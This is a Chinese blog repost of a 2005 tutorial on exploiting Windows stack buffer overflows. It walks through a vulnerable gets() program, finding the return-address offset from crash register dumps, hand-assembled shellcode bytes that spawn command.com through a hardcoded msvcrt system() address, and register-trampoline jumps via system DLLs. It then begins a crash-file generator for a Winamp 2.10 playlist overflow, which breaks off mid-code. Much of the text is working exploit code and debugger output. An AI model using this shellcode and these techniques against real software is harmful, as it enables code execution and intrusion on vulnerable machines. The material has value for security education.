编程之路

本文主要讨论了shellcode备份的相关内容,深入浅出地介绍了在编程过程中shellcode备份的重要性及其实施方法。
摘要由CSDN通过智能技术生成

关于shellcode备份

关键词shellcode                                          

关于shellcode 备份2
aker lee 整理 2005-12-16

window系统下的堆栈溢出
PE文件格式分析
通用windows下shellcode的编写(一)

window系统下的堆栈溢出
黑森林 发表于 2005-10-29 23:44:00
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#i nclude

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++) 
printf("//0x%x",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 

哦 哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算一下可以知道,在堆栈中,从name变 量地址开始偏移36处,是EBP的地址,从name变量地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的 shellcode。我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址是多少呢?

通过上面的 stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为0x32383237,那么计算得出,name的开始地址为:0x0064fe00- 44=0x64fdd4。在windows系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都是相同的。也就是说,每 次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#i nclude
#i nclude

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这 个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个dos窗口。在C库函数里面,语句system (command.com);将完成我们需要的功能。但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说, windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们 必须找到那个包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个基本地址,该DLL每一次被加载都是从这个基本地址加载。比 如,system函数由msvcrt.dll(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个 偏移地址只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,msvcrt.dll版本为(v6.00.8397.0)。 system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary (msvcrt.dll)装载动态链接库msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system)获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18: 
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码是否能够像我们设计的那样工作:

#i nclude
#i nclude

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾/0字符。 
sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。 
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 
0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode:
#i nclude
#i nclude
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出的能力了,下面,我们通过实战来真正掌握他。

◆溢出字符串的设计

我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。

但是这远远不够。

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确的放在确切的函数堆栈中的ret位置。

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。

其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区溢出发生之后,堆栈的布局如下:

内存底部 内存顶部
buffer EBP ret 
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部 

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,根本无法到shellcode。我们需要把A改成不包含0的地址。

好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,又可以不包含0字节呢?

大 家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新的windows缓冲区溢出的思 路。

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话A里面必然含有0。我们知道系统核心的dll都是 在2-4G,也就是从0x80000000到0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。因此,我们可以 令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
作用就是call/jmp 我们的shellcode。

但是他怎么才能知道我们的shellcode的地址呢?

答 案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,其他的通用寄存器都保持不变。在寄存器里面一定有我们的 shellcode的相关信息。比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode的开始地址则恰恰在他的第一个参 数的位置上,那我们就可以用call [ebp+4]或者我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和堆栈的详细资料。

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在内存中可以直接调用呢?

答 案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.这些dll是一直位于内存中而且对应于 固定的版本windows加载的位置是固定的。你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序自己的 import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。

好,那么我们的shellcode最终为:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N为NOP指令
A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000,这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
S:shellcode。

有了这些基础知识,我们来分析一个实例。

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
test.cpp
----------------------------------------------------------------------------
#i nclude

int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值